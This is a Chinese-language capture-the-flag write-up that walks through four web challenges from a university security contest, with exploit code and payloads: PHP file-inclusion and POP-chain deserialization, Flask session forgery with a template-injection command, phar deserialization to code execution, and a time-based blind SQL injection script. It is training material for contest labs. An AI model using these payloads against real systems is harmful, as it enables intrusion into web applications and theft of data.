第二届西安邮电大学网络安全技能大赛
第二届西安邮电大学网络安全技能大赛是我校的大型CTF比赛,本次大赛由高年级学生和西安四叶草信息技术有限公司共同供题。因比赛结束,以下解题过程均为题目复现,故不能保证完全一致,仅供参考!
复现地址:网络科技协会XuntCTF
pop
考点:php://filter 伪协议,pop链的构造(php魔术方法)
进入页面,直接看hint.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = 'flag.php';
if(isset($_GET['flag'])){
$flag = $_GET['flag'];
}
include($flag);
?>
很明显的一个文件包含漏洞,通过伪协议进行读取 flag.php
内容即可获得flag
http://5e4a4b8e-9123-465c-8d67-314fb70a68a9.node.xuntctf.top:8080/hint.php?flag=php://filter/read=convert.base64-encode/resource=flag.php
将得到的 base64 密文进行解密即可!
得到flag
<?php
I'm not a real flag
?>
提交!怎么不对?
(骚年,怎么可能这么简单,醒醒吧!)
读取首页 index.php 的源码
http://5e4a4b8e-9123-465c-8d67-314fb70a68a9.node.xuntctf.top:8080/hint.php?flag=php://filter/read=convert.base64-encode/resource=index.php
将的到的密文解密得到如下代码:
<?php
class Tiger{
public $string;
protected $var;
public function __toString(){
return $this->string;
}
public function boss($value){
@eval($value);
}
public function __invoke(){
$this->boss($this->var);
}
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function();
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
echo "Welcome to ".$this->head."<br>";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;
}
}
if(isset($_POST['zoo'])){
@unserialize($_POST['zoo']);
}
else{
$a = new Monkey;
echo "hint in hint.php!";
}
?>
可以看出这是个pop
链漏洞(题目也可以看出!!!)
学习之后我们找到了这样的一条链子
Money::__wakeup -> Elephant::__toString -> Lion::__get -> Tiger::__invoke
OK!找到链子后就来生成它吧!
exp如下:
<?php
class Tiger{
public $string;
protected $var = "system('ls');";
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
}
}
$b = new Elephant;
$b->nice = new Lion;
$b->nice->tail = new Tiger;
$a = new Monkey($b);
echo urlencode(serialize($a));
?>
生成的序列化字符串:
O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A11%3A%22system%28%27%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D
回到 index.php 将以上 payload 使用 post 给 zoo 即可成功利用漏洞
PS:这里若出现返回状态码为 500 可以用 burp 传值试一试,如果还是不行,应该就是链子的问题了!
flask
考点:flask SSTI, flask session伪造
进入页面
try to post 'name'
呵呵,你当我不敢?
直接post一手 name=ggbond
再测试几次,发现有可控元素,猜测 name 可能存在 SSTI ,继续post
name={{7*7}}
发现不行,完了不会了,退了重来!这次我不听它的话了!
直接 F12 打开 Network 查看响应头,发现
- 进入
/source
查看部分
源码(也可以通过dirsearch
扫描得知)
source in /source"
return rsp
@app.route('/source')
def source():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index('source'):]
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return '~~~~~~hacker!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag = filter(flag)
message = "%s, I hope you have a good time!your flag is " % flag
return render_template_string(message)
else:
return "I don't know you"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
- 猜测 Cookie 中为
flask session
flask session 分为三段,对第一段进行 base64 解密的到:
{"role":{"is_admin":0,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}
或者可以使用 flask-session-cookie-manager 进行解密,用法见项目 README.md
发现密钥为 base64 密文,解密的到密钥:Th1s@one!seCret!
再通过分析代码可知路由 /admin 出可能存在 SSTI 漏洞,但前提是要判定你为 admin 用户,这里就需要伪造用于身份验证的 session !开始伪造:
payload: {"role":{"is_admin":1,"name":"test"}}
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test"}}'
通过篡改 Cookie 中的 session 成功进入被认证 admin 身份
通过源码或这通过回显可知,ssti注入点为 session 中的 flag 键,所以
payload:{"role":{"is_admin":1,"name":"test","flag":"{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","flag":"{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}'
在构造payload
时需要注意的是不能出现单引号,在伪造 session 的过程中单引号会丢失(这应该与它的加密原理有关),所以咱们可以用十六进制\0x27
进行绕过。
最后篡改Cookie即可获得flag
php
考点:http 文件上传, phar反序列化漏洞
进入页面即可看到源码
<?php
ini_set('display_errors','0');
class photoManage{
public function __construct(){
$action=$_POST['action'];
if($action=='download'){
echo $this->download();
}
if($action=='upload'){
$this->upload();
}
}
public function download(){
$filename = $_POST['filename'];
if(file_exists($filename)){
if($this->check('',$filename)) {
include($filename);
}
}
}
public function upload(){
$file = $_FILES['photo']['tmp_name'];
$filename = $_FILES['photo']['name'];
if($this->check($file,'')) {
print(base64_encode($_SERVER["REMOTE_ADDR"]));
move_uploaded_file($_FILES['photo']['tmp_name'], '/usr/share/nginx/html/uploads/' . base64_encode($_SERVER["REMOTE_ADDR"]).'.jpg');
}
}
public function check($file,$filename){
if(preg_match('/<\?/',empty($file)?:file_get_contents($file))){
die('你要是图片我肯定要啊');
}
if(preg_match('/flag|:/',$filename)){
die('no way');
}
return true;
}
}
class Test{
public $con;
public function __wakeup(){
$shell=$_POST['shell'];
if($shell){
eval($shell);
}
}
}
$o = new photoManage();
highlight_file(__FILE__);
通过上文的学习写出exp:
exp.php
<?php
class Test{
}
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER();"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
使用 postman
进行文件上传,通过对上面文章 phar 反序列化漏洞
的学习后,直接使用 phar://
协议出发反序列化漏洞
从而实现rce
,最后在根目录发现flag,进行读取即可!
sql
考点:sql延时盲注, sql bypass
因题目还未部署,先贴exp:
import requests
from urllib.parse import unquote
url = "http://233e0375.lxctf.net/login.php"
def f(s):
res = ''
for i in s:
res += hex(ord(i))[-2:]
return '0x' + res + '25'
def encode(s):
return unquote(s.replace(' ', '%09'))
if __name__ == '__main__':
s = ''
flag = ''
headers = {"Content-Type": "application/x-www-form-urlencoded"}
for i in range(9):
s = flag
for j in range(97, 123):
pwd = s + chr(j)
data = {
'username': 'a\\',
'passwd': encode('||passwd like {} && sleep(2)#'.format(f(pwd))) # ||reverse(passwd) like {} && sleep(2)#
}
# print(data)
try:
res = requests.post(url, data=data, timeout=2, headers=headers)
# rint(res.text)
continue
except:
flag += chr(j)
print('flag: ' + flag)
break
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通